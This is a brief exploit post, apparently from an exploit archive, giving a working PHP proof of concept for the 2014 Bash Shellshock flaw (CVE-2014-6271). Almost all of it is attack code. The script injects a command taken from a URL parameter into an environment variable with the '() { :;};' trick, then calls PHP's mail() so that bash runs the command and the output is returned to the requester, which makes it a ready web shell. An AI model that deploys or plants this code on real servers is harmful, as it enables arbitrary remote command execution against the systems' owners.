PHP 5.x / Bash Shellshock Proof Of Concept

[php]

// Exploit Title: PHP 5.x and GNU Bash <= 4.3 Shellshock Exploit
// Date: 22/11/2014
// Exploit Author: ssbostan
// Vendor Homepage: http://www.gnu.org/software/bash/
// Software Link: http://ftp.gnu.org/gnu/bash/
// Version: <= 4.3
// Tested on: Fedora 17, Ubuntu 8.04
// CVE: http://www.cvedetails.com/cve/CVE-2014-6271/

if(isset($_GET["cmd"]) && !empty($_GET["cmd"]))
{
$file=tempnam("/tmp", "xpl");
putenv("PHP_XPL=() { :;}; {$_GET["cmd"]}>{$file}");
mail("xpl@localhost", "", "", "", "-bv");
echo file_get_contents($file);
unlink($file);
}

?>
[/php]

发表评论